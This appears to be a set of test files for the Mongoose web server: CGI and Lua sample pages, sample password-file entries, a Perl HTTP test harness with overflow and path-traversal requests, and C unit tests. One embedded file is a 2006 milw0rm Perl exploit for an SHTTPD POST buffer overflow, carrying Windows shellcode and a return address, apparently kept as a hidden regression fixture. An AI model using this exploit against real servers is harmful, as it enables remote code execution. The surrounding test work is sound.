value = mg_get_header(conn, "Host");
if (value != NULL) {
mg_printf(conn, "Value: [%s]", value);
}
}
static void test_get_request_info(struct mg_connection *conn,
const struct mg_request_info *ri) {
int i;
mg_printf(conn, "%s", standard_reply);
mg_printf(conn, "Method: [%s]\n", ri->request_method);
mg_printf(conn, "URI: [%s]\n", ri->uri);
mg_printf(conn, "HTTP version: [%s]\n", ri->http_version);
for (i = 0; i < ri->num_headers; i++) {
mg_printf(conn, "HTTP header [%s]: [%s]\n",
ri->http_headers[i].name,
ri->http_headers[i].value);
}
mg_printf(conn, "Query string: [%s]\n",
ri->query_string ? ri->query_string: "");
mg_printf(conn, "Remote IP: [%lu]\n", ri->remote_ip);
mg_printf(conn, "Remote port: [%d]\n", ri->remote_port);
mg_printf(conn, "Remote user: [%s]\n",
ri->remote_user ? ri->remote_user : "");
}
static void test_error(struct mg_connection *conn,
const struct mg_request_info *ri) {
int status = (int) ri->ev_data;
mg_printf(conn, "HTTP/1.1 %d XX\r\n"
"Conntection: close\r\n\r\n", status);
mg_printf(conn, "Error: [%d]", status);
}
static void test_post(struct mg_connection *conn,
const struct mg_request_info *ri) {
const char *cl;
char *buf;
int len;
mg_printf(conn, "%s", standard_reply);
if (strcmp(ri->request_method, "POST") == 0 &&
(cl = mg_get_header(conn, "Content-Length")) != NULL) {
len = atoi(cl);
if ((buf = malloc(len)) != NULL) {
mg_write(conn, buf, len);
free(buf);
}
}
}
static const struct test_config {
enum mg_event event;
const char *uri;
void (*func)(struct mg_connection *, const struct mg_request_info *);
} test_config[] = {
{MG_NEW_REQUEST, "/test_get_header", &test_get_header},
{MG_NEW_REQUEST, "/test_get_var", &test_get_var},
{MG_NEW_REQUEST, "/test_get_request_info", &test_get_request_info},
{MG_NEW_REQUEST, "/test_post", &test_post},
{MG_HTTP_ERROR, "", &test_error},
{0, NULL, NULL}
};
static void *callback(enum mg_event event,
struct mg_connection *conn) {
const struct mg_request_info *request_info = mg_get_request_info(conn);
int i;
for (i = 0; test_config[i].uri != NULL; i++) {
if (event == test_config[i].event &&
(event == MG_HTTP_ERROR ||
!strcmp(request_info->uri, test_config[i].uri))) {
test_config[i].func(conn, request_info);
return "processed";
}
}
return NULL;
}
int main(void) {
struct mg_context *ctx;
const char *options[] = {"listening_ports", LISTENING_PORT, NULL};
ctx = mg_start(callback, NULL, options);
pause();
return 0;
}
#!/usr/bin/env perl
use Cwd;
use CGI;
use vars '%in';
CGI::ReadParse();
print "Content-Type: text/html\r\n\r\n";
print "<pre>\n";
foreach my $key (sort keys %ENV) {
print "$key=$ENV{$key}\n";
}
print "\n";
foreach my $key (sort keys %in) {
print "$key=$in{$key}\n";
}
print "\n";
print 'CURRENT_DIR=' . getcwd() . "\n";
print "</pre>\n";
my $stuff = <<EOP ;
<script language="javascript">
function set_val() {
}
</script>
<form method=get>
<input type=hidden name=a>
<input type=text name=_a onChange="javascript: this.form.a.value=this.value;">
<input type=submit value=get>
</form>
<form method=post>
<input type=text name=b>
<input type=submit value=post>
</form>
EOP
#system('some shit');
print $stuff;
#!/usr/bin/perl -w
# SHTTPD Buffer Overflow (POST)
# Tested on SHTTPD 1.34 WinXP SP1 Hebrew
# http://shttpd.sourceforge.net
# Codded By SkOd, 05/10/2006
# ISRAEL
#
# details:
# EAX 00000194 , ECX 009EBCA8 , EDX 00BC488C
# EBX 00000004 , EIP 41414141 , EBP 41414141
# ESI 00BC4358 , EDI 00BCC3CC ASCII "POST"
# ESP 009EFC08 ASCII 41,"AA...AAA"
use IO::Socket;
sub fail(){
syswrite STDOUT, "[-]Connect failed.\n";
exit;
}
sub header()
{
print("##################################\n");
print("SHTTPD (POST) Buffer Overflow.\n");
print("[http://shttpd.sourceforge.net]\n");
print("Codded By SkOd, 05/10/2006\n");
print("##################################\n");
}
if (@ARGV < 1)
{
&header();
print("Usage: Perl shttpd.pl [host]\n");
exit;
}
&header();
$host=$ARGV[0];
$port="80";
$host=~ s/(http:\/\/)//eg;
#win32_exec- CMD=calc Size=160 (metasploit.com)
$shell =
"%33%c9%83%e9%de%d9%ee%d9%74%24%f4%5b%81%73%13%52".
"%ca%2b%e0%83%eb%fc%e2%f4%ae%22%6f%e0%52%ca%a0%a5".
"%6e%41%57%e5%2a%cb%c4%6b%1d%d2%a0%bf%72%cb%c0%a9".
"%d9%fe%a0%e1%bc%fb%eb%79%fe%4e%eb%94%55%0b%e1%ed".
"%53%08%c0%14%69%9e%0f%e4%27%2f%a0%bf%76%cb%c0%86".
"%d9%c6%60%6b%0d%d6%2a%0b%d9%d6%a0%e1%b9%43%77%c4".
"%56%09%1a%20%36%41%6b%d0%d7%0a%53%ec%d9%8a%27%6b".
"%22%d6%86%6b%3a%c2%c0%e9%d9%4a%9b%e0%52%ca%a0%88".
"%0d%a2%b3%1e%d8%c4%7c%1f%b5%a9%4a%8c%31%ca%2b%e0";
$esp="%73%C3%2A%4F"; #[4F2AC373]JMP ESP (kernel32.dll) WinXP SP1(Hebrew)
$buff=("%41"x8).$esp.("%90"x85).$shell; #Shellcode+NOP=245
print length($buff) . "\n";
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "$port") || &fail();
syswrite STDOUT,"[+]Connected.\n";
print $sock "POST /$buff HTTP/1.1\n";
print $sock "HOST:$host\n\n";
syswrite STDOUT,"[+]Done.\n";
close($sock);
# milw0rm.com [2006-10-05]
#!/bin/sh
echo "Content-Type: text/plain"
echo
echo $QUERY_STRING
mg.write('HTTP/1.0 200 OK\r\n', 'Content-Type: text/plain\r\n', '\r\n')
mg.write(os.date("%A"))
-- for k,v in pairs(_G) do mg.write(k, '\n') end
-- Open database
local db = sqlite3.open('requests.db')
-- Setup a trace callback, to show SQL statements we'll be executing.
-- db:trace(function(data, sql) mg.write('Executing: ', sql: '\n') end, nil)
-- Create a table if it is not created already
db:exec([[
CREATE TABLE IF NOT EXISTS requests (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp NOT NULL,
method NOT NULL,
uri NOT NULL,
addr
);
]])
-- Add entry about this request
local stmt = db:prepare(
'INSERT INTO requests VALUES(NULL, datetime("now"), ?, ?, ?);');
stmt:bind_values(mg.request_info.request_method,
mg.request_info.uri,
mg.request_info.remote_port)
stmt:step()
stmt:finalize()
-- Show all previous records
mg.write('Previous requests:\n')
stmt = db:prepare('SELECT * FROM requests ORDER BY id DESC;')
while stmt:step() == sqlite3.ROW do
local v = stmt:get_values()
mg.write(v[1] .. ' ' .. v[2] .. ' ' .. v[3] .. ' '
.. v[4] .. ' ' .. v[5] .. '\n')
end
-- Close database
db:close()
HTTP/1.0 200 OK
Content-Type: text/html
<html>
<head>
<meta http-equiv="Content-type" content="text/html;charset=UTF-8">
</head>
<body>
<p>This is an example Lua server page served by
<a href="http://code.google.com/p/mongoose">Mongoose web server</a>.
Mongoose has Lua, Sqlite, and other functionality built in the binary.
This example page stores the request in the Sqlite database, and shows
all requests done previously.</p>
<p> Today is <? mg.write(os.date("%A")) ?>
<pre>
<?
-- for k,v in pairs(_G) do mg.write(k, '\n') end
-- Open database
local db = sqlite3.open('requests.db')
-- Setup a trace callback, to show SQL statements we'll be executing.
-- db:trace(function(data, sql) mg.write('Executing: ', sql: '\n') end, nil)
-- Create a table if it is not created already
db:exec('PRAGMA encoding="UTF-8"; ')
db:exec([[
CREATE TABLE IF NOT EXISTS requests (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp NOT NULL,
method NOT NULL,
uri NOT NULL,
addr
);
]])
-- Add entry about this request
local stmt = db:prepare(
'INSERT INTO requests VALUES(NULL, datetime("now"), ?, ?, ?);');
stmt:bind_values(mg.request_info.request_method,
mg.request_info.uri,
mg.request_info.remote_port)
stmt:step()
stmt:finalize()
-- Show all previous records
mg.write('Previous requests:\n')
stmt = db:prepare('SELECT * FROM requests ORDER BY id DESC;')
while stmt:step() == sqlite3.ROW do
local v = stmt:get_values()
mg.write(v[1] .. ' ' .. v[2] .. ' ' .. v[3] .. ' '
.. v[4] .. ' ' .. v[5] .. '\n')
end
-- Close database
db:close()
?>
</pre>
This is an example on how to include files a-la SSI:
<pre><? mg.write(io.open('dll.def'):read('*all')) ?></pre>
</body></html>
guest:mydomain.com:485264dcc977a1925370b89d516a1477
Administrator:mydomain.com:e32daa3028eba04dc53e2d781e6fc983
#!/bin/sh
echo "Content-Type: text/plain"
echo
echo "This is shell script CGI."
#!/usr/bin/env perl
# This script is used to test Mongoose web server
# $Id: test.pl 516 2010-05-03 12:54:37Z valenok $
use IO::Socket;
use File::Path;
use File::Basename;
use Cwd;
use strict;
use warnings;
#use diagnostics;
sub on_windows { $^O =~ /win32/i; }
my $port = 31295;
my $pid = undef;
my $num_requests;
my $dir_separator = on_windows() ? '\\' : '/';
my $copy_cmd = on_windows() ? 'copy' : 'cp';
my $test_dir_uri = "test_dir";
my $root = './test';
my $abs_root = Cwd::abs_path(dirname($0) . $dir_separator);
my $test_dir = $abs_root . $dir_separator. $test_dir_uri;
#print "$test_dir\n"; exit 0;
my $config = 'mongoose.conf';
my $exe_ext = on_windows() ? '.exe' : '';
my $mongoose_exe = '.' . $dir_separator . 'mongoose' . $exe_ext;
my $embed_exe = '.' . $dir_separator . 'embed' . $exe_ext;
my $unit_test_exe = '.' . $dir_separator . 'unit_test' . $exe_ext;
my $exit_code = 0;
my @files_to_delete = ('debug.log', 'access.log', $config, "$root/a/put.txt",
"$root/a+.txt", "$root/.htpasswd", "$root/binary_file", "$root/a",
"$root/myperl", $embed_exe, $unit_test_exe);
END {
#system('cat access.log');
unlink @files_to_delete;
kill_spawned_child();
File::Path::rmtree($test_dir);
exit $exit_code;
}
sub fail {
print "FAILED: @_\n";
$exit_code = 1;
exit 1;
}
sub get_num_of_log_entries {
open FD, "access.log" or return 0;
my @lines = (<FD>);
close FD;
return scalar @lines;
}
# Send the request to the 127.0.0.1:$port and return the reply
sub req {
my ($request, $inc, $timeout) = @_;
my $sock = IO::Socket::INET->new(Proto => 6,
PeerAddr => '127.0.0.1', PeerPort => $port);
fail("Cannot connect to http://127.0.0.1:$port : $!") unless $sock;
$sock->autoflush(1);
foreach my $byte (split //, $request) {
last unless print $sock $byte;
select undef, undef, undef, .001 if length($request) < 256;
}
my ($out, $buf) = ('', '');
eval {
alarm $timeout if $timeout;
$out .= $buf while ((sysread($sock, $buf, 1024) or 0) > 0);
alarm 0 if $timeout;
};
close $sock;
$num_requests += defined($inc) ? $inc : 1;
my $num_logs = get_num_of_log_entries();
unless ($num_requests == $num_logs) {
fail("Request has not been logged: [$request], output: [$out]");
}
return $out;
}
# Send the request. Compare with the expected reply. Fail if no match
sub o {
my ($request, $expected_reply, $message, $num_logs) = @_;
print "==> $message ... ";
my $reply = req($request, $num_logs);
if ($reply =~ /$expected_reply/s) {
print "OK\n";
} else {
#fail("Requested: [$request]\nExpected: [$expected_reply], got: [$reply]");
fail("Expected: [$expected_reply], got: [$reply]");
}
}
# Spawn a server listening on specified port
sub spawn {
my ($cmdline) = @_;
print 'Executing: ', @_, "\n";
if (on_windows()) {
my @args = split /\s+/, $cmdline;
my $executable = $args[0];
Win32::Spawn($executable, $cmdline, $pid);
die "Cannot spawn @_: $!" unless $pid;
} else {
unless ($pid = fork()) {
exec $cmdline;
die "cannot exec [$cmdline]: $!\n";
}
}
sleep 1;
}
sub write_file {
open FD, ">$_[0]" or fail "Cannot open $_[0]: $!";
binmode FD;
print FD $_[1];
close FD;
}
sub read_file {
open FD, $_[0] or fail "Cannot open $_[0]: $!";
my @lines = <FD>;
close FD;
return join '', @lines;
}
sub kill_spawned_child {
if (defined($pid)) {
kill(9, $pid);
waitpid($pid, 0);
}
}
####################################################### ENTRY POINT
unlink @files_to_delete;
$SIG{PIPE} = 'IGNORE';
$SIG{ALRM} = sub { die "timeout\n" };
#local $| =1;
# Make sure we export only symbols that start with "mg_", and keep local
# symbols static.
if ($^O =~ /darwin|bsd|linux/) {
my $out = `(cc -c mongoose.c && nm mongoose.o) | grep ' T '`;
foreach (split /\n/, $out) {
/T\s+_?mg_.+/ or fail("Exported symbol $_")
}
}
# Make sure we load config file if no options are given.
# Command line options override config files settings
write_file($config, "access_log_file access.log\n" .
"document_root $root\n" .
"listening_port 127.0.0.1:23164\n");
spawn("$mongoose_exe -listening_port 127.0.0.1:$port");
o("GET /hello.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'Loading config file');
kill_spawned_child();
# "-cgi_environment CGI_FOO=foo,CGI_BAR=bar,CGI_BAZ=baz " .
# "-enable_keep_alive yes ".
# Spawn the server on port $port
my $cmd = "$mongoose_exe ".
"-listening_port 127.0.0.1:$port ".
"-access_log_file access.log ".
"-extra_mime_types .bar=foo/bar,.tar.gz=blah,.baz=foo " .
"-dav_auth_file $abs_root/passfile " .
'-access_control_list -0.0.0.0/0,+127.0.0.1 ' .
"-document_root $root ".
"-hide_files_patterns **exploit.PL ".
"-url_rewrites /aiased=/etc/,/ta=$test_dir";
$cmd .= ' -cgi_interpreter perl' if on_windows();
spawn($cmd);
o("GET /dir%20with%20spaces/桌面/ HTTP/1.0\r\n\r\n", 'куку!',
'Non-ascii chars in path');
o("GET /hello.txt HTTP/1.1\nConnection: close\nRange: bytes=3-50\r\n\r\n",
'Content-Length: 15\s', 'Range past the file end');
o("GET /hello.txt HTTP/1.1\nContent-Length: 0\n\n ".
"GET /hello.txt HTTP/1.0\nContent-Length: 0\n\n",
'HTTP/1.1 200.+keep-alive.+HTTP/1.1 200.+close',
'Request pipelining', 2);
my $x = 'x=' . 'A' x (200 * 1024);
my $len = length($x);
o("POST /env.cgi HTTP/1.0\r\nContent-Length: $len\r\n\r\n$x",
'^HTTP/1.1 200 OK', 'Long POST');
# Try to overflow: Send very long request
req('POST ' . '/..' x 100 . 'ABCD' x 3000 . "\n\n", 0); # don't log this one
o("GET /hello.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'GET regular file');
o("GET /hello.txt HTTP/1.0\nContent-Length: -2147483648\n\n",
'HTTP/1.1 200 OK', 'Negative content length');
o("GET /hello.txt HTTP/1.0\n\n", 'Content-Length: 17\s',
'GET regular file Content-Length');
o("GET /%68%65%6c%6c%6f%2e%74%78%74 HTTP/1.0\n\n",
'HTTP/1.1 200 OK', 'URL-decoding');
# '+' in URI must not be URL-decoded to space
write_file("$root/a+.txt", ':-)');
o("GET /a+.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'URL-decoding, + in URI');
# Break CGI reading after 1 second. We must get full output.
# Since CGI script does sleep, we sleep as well and increase request count
# manually.
my $slow_cgi_reply;
print "==> Slow CGI output ... ";
fail('Slow CGI output forward reply=', $slow_cgi_reply) unless
($slow_cgi_reply = req("GET /timeout.cgi HTTP/1.0\r\n\r\n", 0, 1)) =~ /Some data/s;
print "OK\n";
sleep 2;
#$num_requests++;
# Test HTTP version parsing
o("GET / HTTPX/1.0\r\n\r\n", '^HTTP/1.1 400', 'Bad HTTP Version', 0);
o("GET / HTTP/x.1\r\n\r\n", '^HTTP/1.1 505', 'Bad HTTP maj Version', 1);
o("GET / HTTP/1.1z\r\n\r\n", '^HTTP/1.1 505', 'Bad HTTP min Version', 1);
o("GET / HTTP/02.0\r\n\r\n", '^HTTP/1.1 505', 'HTTP Version >1.1', 1);
# File with leading single dot
o("GET /.leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 1');
o("GET /...leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 2');
o("GET /../\\\\/.//...leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 3')
if on_windows();
o("GET .. HTTP/1.0\n\n", '400 Bad Request', 'Leading dot 4', 0);
mkdir $test_dir unless -d $test_dir;
o("GET /$test_dir_uri/not_exist HTTP/1.0\n\n",
'HTTP/1.1 404', 'PATH_INFO loop problem');
o("GET /$test_dir_uri HTTP/1.0\n\n", 'HTTP/1.1 301', 'Directory redirection');
o("GET /$test_dir_uri/ HTTP/1.0\n\n", 'Modified', 'Directory listing');
write_file("$test_dir/index.html", "tralala");
o("GET /$test_dir_uri/ HTTP/1.0\n\n", 'tralala', 'Index substitution');
o("GET / HTTP/1.0\n\n", 'embed.c', 'Directory listing - file name');
o("GET /ta/ HTTP/1.0\n\n", 'Modified', 'Aliases');
o("GET /not-exist HTTP/1.0\r\n\n", 'HTTP/1.1 404', 'Not existent file');
mkdir $test_dir . $dir_separator . 'x';
my $path = $test_dir . $dir_separator . 'x' . $dir_separator . 'index.cgi';
write_file($path, read_file($root . $dir_separator . 'env.cgi'));
chmod(0755, $path);
o("GET /$test_dir_uri/x/ HTTP/1.0\n\n", "Content-Type: text/html\r\n\r\n",
'index.cgi execution');
o("GET /$test_dir_uri/x/ HTTP/1.0\n\n",
"SCRIPT_FILENAME=$test_dir/x/index.cgi", 'SCRIPT_FILENAME');
o("GET /ta/x/ HTTP/1.0\n\n", "SCRIPT_NAME=/ta/x/index.cgi",
'Aliases SCRIPT_NAME');
o("GET /hello.txt HTTP/1.1\nConnection: close\n\n", 'Connection: close',
'No keep-alive');
$path = $test_dir . $dir_separator . 'x' . $dir_separator . 'a.cgi';
system("ln -s `which perl` $root/myperl") == 0 or fail("Can't symlink perl");
write_file($path, "#!../../myperl\n" .
"print \"Content-Type: text/plain\\n\\nhi\";");
chmod(0755, $path);
o("GET /$test_dir_uri/x/a.cgi HTTP/1.0\n\n", "hi", 'Relative CGI interp path');
o("GET * HTTP/1.0\n\n", "^HTTP/1.1 404", '* URI');
my $mime_types = {
html => 'text/html',
htm => 'text/html',
txt => 'text/plain',
unknown_extension => 'text/plain',
js => 'application/x-javascript',
css => 'text/css',
jpg => 'image/jpeg',
c => 'text/plain',
'tar.gz' => 'blah',
bar => 'foo/bar',
baz => 'foo',
};
foreach my $key (keys %$mime_types) {
my $filename = "_mime_file_test.$key";
write_file("$root/$filename", '');
o("GET /$filename HTTP/1.0\n\n",
"Content-Type: $mime_types->{$key}", ".$key mime type");
unlink "$root/$filename";
}
# Get binary file and check the integrity
my $binary_file = 'binary_file';
my $f2 = '';
foreach (0..123456) { $f2 .= chr(int(rand() * 255)); }
write_file("$root/$binary_file", $f2);
my $f1 = req("GET /$binary_file HTTP/1.0\r\n\n");
while ($f1 =~ /^.*\r\n/) { $f1 =~ s/^.*\r\n// }
$f1 eq $f2 or fail("Integrity check for downloaded binary file");
my $range_request = "GET /hello.txt HTTP/1.1\nConnection: close\n".
"Range: bytes=3-5\r\n\r\n";
o($range_request, '206 Partial Content', 'Range: 206 status code');
o($range_request, 'Content-Length: 3\s', 'Range: Content-Length');
o($range_request, 'Content-Range: bytes 3-5/17', 'Range: Content-Range');
o($range_request, '\nple$', 'Range: body content');
# Test directory sorting. Sleep between file creation for 1.1 seconds,
# to make sure modification time are different.
mkdir "$test_dir/sort";
write_file("$test_dir/sort/11", 'xx');
select undef, undef, undef, 1.1;
write_file("$test_dir/sort/aa", 'xxxx');
select undef, undef, undef, 1.1;
write_file("$test_dir/sort/bb", 'xxx');
select undef, undef, undef, 1.1;
write_file("$test_dir/sort/22", 'x');
o("GET /$test_dir_uri/sort/?n HTTP/1.0\n\n",
'200 OK.+>11<.+>22<.+>aa<.+>bb<',
'Directory listing (name, ascending)');
o("GET /$test_dir_uri/sort/?nd HTTP/1.0\n\n",
'200 OK.+>bb<.+>aa<.+>22<.+>11<',
'Directory listing (name, descending)');
o("GET /$test_dir_uri/sort/?s HTTP/1.0\n\n",
'200 OK.+>22<.+>11<.+>bb<.+>aa<',
'Directory listing (size, ascending)');
o("GET /$test_dir_uri/sort/?sd HTTP/1.0\n\n",
'200 OK.+>aa<.+>bb<.+>11<.+>22<',
'Directory listing (size, descending)');
o("GET /$test_dir_uri/sort/?d HTTP/1.0\n\n",
'200 OK.+>11<.+>aa<.+>bb<.+>22<',
'Directory listing (modification time, ascending)');
o("GET /$test_dir_uri/sort/?dd HTTP/1.0\n\n",
'200 OK.+>22<.+>bb<.+>aa<.+>11<',
'Directory listing (modification time, descending)');
unless (scalar(@ARGV) > 0 and $ARGV[0] eq "basic_tests") {
# Check that .htpasswd file existence trigger authorization
write_file("$root/.htpasswd", 'user with space, " and comma:mydomain.com:5deda12442309cbdcdffc6b2737a894f');
o("GET /hello.txt HTTP/1.1\n\n", '401 Unauthorized',
'.htpasswd - triggering auth on file request');
o("GET / HTTP/1.1\n\n", '401 Unauthorized',
'.htpasswd - triggering auth on directory request');
# Test various funky things in an authentication header.
o("GET /hello.txt HTTP/1.0\nAuthorization: Digest eq== empty=\"\", empty2=, quoted=\"blah foo bar, baz\\\"\\\" more\\\"\", unterminatedquoted=\" doesn't stop\n\n",
'401 Unauthorized', 'weird auth values should not cause crashes');
my $auth_header = "Digest username=\"user with space, \\\" and comma\", ".
"realm=\"mydomain.com\", nonce=\"1291376417\", uri=\"/\",".
"response=\"e8dec0c2a1a0c8a7e9a97b4b5ea6a6e6\", qop=auth, nc=00000001, cnonce=\"1a49b53a47a66e82\"";
# TODO(lsm): re-enable auth checks
unlink "$root/.htpasswd";
o("GET /hello.txt HTTP/1.0\nAuthorization: $auth_header\n\n", 'HTTP/1.1 200 OK', 'GET regular file with auth');
o("GET / HTTP/1.0\nAuthorization: $auth_header\n\n", '^(.(?!(.htpasswd)))*$',
'.htpasswd is hidden from the directory list');
o("GET / HTTP/1.0\nAuthorization: $auth_header\n\n", '^(.(?!(exploit.pl)))*$',
'hidden file is hidden from the directory list');
o("GET /.htpasswd HTTP/1.0\nAuthorization: $auth_header\n\n",
'^HTTP/1.1 404 ', '.htpasswd must not be shown');
o("GET /exploit.pl HTTP/1.0\nAuthorization: $auth_header\n\n",
'^HTTP/1.1 404', 'hidden files must not be shown');
o("GET /dir%20with%20spaces/hello.cgi HTTP/1.0\n\r\n",
'HTTP/1.1 200 OK.+hello', 'CGI script with spaces in path');
o("GET /env.cgi HTTP/1.0\n\r\n", 'HTTP/1.1 200 OK', 'GET CGI file');
o("GET /bad2.cgi HTTP/1.0\n\n", "^HTTP/1.1 302", 'CGI Status code');
o("GET /sh.cgi HTTP/1.0\n\r\n", 'shell script CGI',
'GET sh CGI file') unless on_windows();
o("GET /env.cgi?var=HELLO HTTP/1.0\n\n", 'QUERY_STRING=var=HELLO',
'QUERY_STRING wrong');
o("POST /env.cgi HTTP/1.0\r\nContent-Length: 9\r\n\r\nvar=HELLO",
'var=HELLO', 'CGI POST wrong');
o("POST /env.cgi HTTP/1.0\r\nContent-Length: 9\r\n\r\nvar=HELLO",
'\x0aCONTENT_LENGTH=9', 'Content-Length not being passed to CGI');
o("GET /env.cgi HTTP/1.0\nMy-HdR: abc\n\r\n",
'HTTP_MY_HDR=abc', 'HTTP_* env');
o("GET /env.cgi HTTP/1.0\n\r\nSOME_TRAILING_DATA_HERE",
'HTTP/1.1 200 OK', 'GET CGI with trailing data');
o("GET /env.cgi%20 HTTP/1.0\n\r\n",
'HTTP/1.1 404', 'CGI Win32 code disclosure (%20)');
o("GET /env.cgi%ff HTTP/1.0\n\r\n",
'HTTP/1.1 404', 'CGI Win32 code disclosure (%ff)');
o("GET /env.cgi%2e HTTP/1.0\n\r\n",
'HTTP/1.1 404', 'CGI Win32 code disclosure (%2e)');
o("GET /env.cgi%2b HTTP/1.0\n\r\n",
'HTTP/1.1 404', 'CGI Win32 code disclosure (%2b)');
o("GET /env.cgi HTTP/1.0\n\r\n", '\nHTTPS=off\n', 'CGI HTTPS');
o("GET /env.cgi/a/b/98 HTTP/1.0\n\r\n", 'PATH_INFO=/a/b/98\n', 'PATH_INFO');
o("GET /env.cgi/a/b/9 HTTP/1.0\n\r\n", 'PATH_INFO=/a/b/9\n', 'PATH_INFO');
o("GET /env.cgi/foo/bar?a=b HTTP/1.0\n\n",
'SCRIPT_NAME=/env.cgi\s', 'SCRIPT_NAME for CGI with PATH_INFO');
# Check that CGI's current directory is set to script's directory
my $copy_cmd = on_windows() ? 'copy' : 'cp';
system("$copy_cmd $root" . $dir_separator . "env.cgi $test_dir" .
$dir_separator . 'env.cgi');
o("GET /$test_dir_uri/env.cgi HTTP/1.0\n\n",
"CURRENT_DIR=.*$root/$test_dir_uri", "CGI chdir()");
# Manipulate the passwords file
my $path = 'test_htpasswd';
unlink $path;
system("$mongoose_exe -A $path a b c") == 0
or fail("Cannot add user in a passwd file");
system("$mongoose_exe -A $path a b c2") == 0
or fail("Cannot edit user in a passwd file");
my $content = read_file($path);
$content =~ /^b:a:\w+$/gs or fail("Bad content of the passwd file");
unlink $path;
do_PUT_test();
kill_spawned_child();
}
sub do_PUT_test {
# This only works because mongoose currently doesn't look at the nonce.
# It should really be rejected...
my $auth_header = "Authorization: Digest username=guest, ".
"realm=mydomain.com, nonce=1145872809, uri=/put.txt, ".
"response=896327350763836180c61d87578037d9, qop=auth, ".
"nc=00000002, cnonce=53eddd3be4e26a98\n";
o("PUT /a/put.txt HTTP/1.0\nContent-Length: 7\n$auth_header\n1234567",
"HTTP/1.1 201 OK", 'PUT file, status 201');
fail("PUT content mismatch")
unless read_file("$root/a/put.txt") eq '1234567';
o("PUT /a/put.txt HTTP/1.0\nContent-Length: 4\n$auth_header\nabcd",
"HTTP/1.1 200 OK", 'PUT file, status 200');
fail("PUT content mismatch")
unless read_file("$root/a/put.txt") eq 'abcd';
o("PUT /a/put.txt HTTP/1.0\n$auth_header\nabcd",
"HTTP/1.1 411 Length Required", 'PUT 411 error');
o("PUT /a/put.txt HTTP/1.0\nExpect: 100-continue\nContent-Length: 4\n".
"$auth_header\nabcd",
"HTTP/1.1 100 Continue.+HTTP/1.1 200", 'PUT 100-Continue');
}
print "SUCCESS! All tests passed.\n";
#!/usr/bin/env perl
# Make stdout unbuffered
use FileHandle;
STDOUT->autoflush(1);
# This script outputs some content, then sleeps for 5 seconds, then exits.
# Web server should return the content immediately after it is sent,
# not waiting until the script exits.
print "Content-Type: text/html\r\n\r\n";
print "Some data";
sleep 3;
// Unit test for the mongoose web server.
#define USE_WEBSOCKET
#define USE_LUA
#ifndef _WIN32
#define USE_IPV6
#include <netdb.h> // For gethostbyname()
#endif
// USE_* definitions must be made before #include "mongoose.c" !
#include "../mongoose.c"
#define FAIL(str, line) do { \
printf("Fail on line %d: [%s]\n", line, str); \
return str; \
} while (0)
#define ASSERT(expr) do { \
static_num_tests++; \
if (!(expr)) FAIL(#expr, __LINE__); \
} while (0)
#define RUN_TEST(test) do { const char *msg = test(); \
if (msg) return msg; } while (0)
#define HTTP_PORT "45772"
#define LISTENING_ADDR "127.0.0.1:" HTTP_PORT
static int static_num_tests = 0;
// Connects to host:port, and sends formatted request to it. Returns
// malloc-ed reply and reply length, or NULL on error. Reply contains
// everything including headers, not just the message body.
static char *wget(const char *host, int port, int *len, const char *fmt, ...) {
char buf[2000], *reply = NULL;
int request_len, reply_size = 0, n, sock = -1;
struct sockaddr_in sin;
struct hostent *he = NULL;
va_list ap;
if (host != NULL &&
(he = gethostbyname(host)) != NULL &&
(sock = socket(PF_INET, SOCK_STREAM, 0)) != -1) {
sin.sin_family = AF_INET;
sin.sin_port = htons((uint16_t) port);
sin.sin_addr = * (struct in_addr *) he->h_addr_list[0];
if (connect(sock, (struct sockaddr *) &sin, sizeof(sin)) == 0) {
// Format and send the request.
va_start(ap, fmt);
request_len = vsnprintf(buf, sizeof(buf), fmt, ap);
va_end(ap);
while (request_len > 0 && (n = send(sock, buf, request_len, 0)) > 0) {
request_len -= n;
}
if (request_len == 0) {
*len = 0;
while ((n = recv(sock, buf, sizeof(buf), 0)) > 0) {
if (*len + n > reply_size) {
reply = realloc(reply, reply_size + sizeof(buf)); // Leak possible
reply_size += sizeof(buf);
}
if (reply != NULL) {
memcpy(reply + *len, buf, n);
*len += n;
}
}
}
closesocket(sock);
}
}
return reply;
}
static char *read_file(const char *path, int *size) {
FILE *fp;
struct stat st;
char *data = NULL;
if ((fp = fopen(path, "rb")) != NULL && !fstat(fileno(fp), &st)) {
*size = (int) st.st_size;
assert((data = malloc(*size)) != NULL);
assert(fread(data, 1, *size, fp) == (size_t) *size);
fclose(fp);
}
return data;
}
static const char *test_parse_http_message() {
struct mg_connection ri;
char req1[] = "GET / HTTP/1.1\r\n\r\n";
char req2[] = "BLAH / HTTP/1.1\r\n\r\n";
char req3[] = "GET / HTTP/1.1\r\nBah\r\n";
char req4[] = "GET / HTTP/1.1\r\nA: foo bar\r\nB: bar\r\nbaz\r\n\r\n";
char req5[] = "GET / HTTP/1.1\r\n\r\n";
char req6[] = "G";
char req7[] = " blah ";
char req8[] = " HTTP/1.1 200 OK \n\n";
char req9[] = "HTTP/1.1 200 OK\r\nConnection: close\r\n\r\n";
ASSERT(get_request_len("\r\n", 3) == -1);
ASSERT(get_request_len("\r\n", 2) == 0);
ASSERT(get_request_len("GET", 3) == 0);
ASSERT(get_request_len("\n\n", 2) == 2);
ASSERT(get_request_len("\n\r\n", 3) == 3);
ASSERT(get_request_len("\xdd\xdd", 2) == 0);
ASSERT(get_request_len("\xdd\x03", 2) == -1);
ASSERT(get_request_len(req3, sizeof(req3) - 1) == 0);
ASSERT(get_request_len(req6, sizeof(req6) - 1) == 0);
ASSERT(get_request_len(req7, sizeof(req7) - 1) == 0);
ASSERT(parse_http_message(req9, sizeof(req9) - 1, &ri) == sizeof(req9) - 1);
ASSERT(ri.num_headers == 1);
ASSERT(parse_http_message(req1, sizeof(req1) - 1, &ri) == sizeof(req1) - 1);
ASSERT(strcmp(ri.http_version, "1.1") == 0);
ASSERT(ri.num_headers == 0);
ASSERT(parse_http_message(req2, sizeof(req2) - 1, &ri) == -1);
ASSERT(parse_http_message(req6, 0, &ri) == -1);
ASSERT(parse_http_message(req8, sizeof(req8) - 1, &ri) == sizeof(req8) - 1);
// TODO(lsm): Fix this. Header value may span multiple lines.
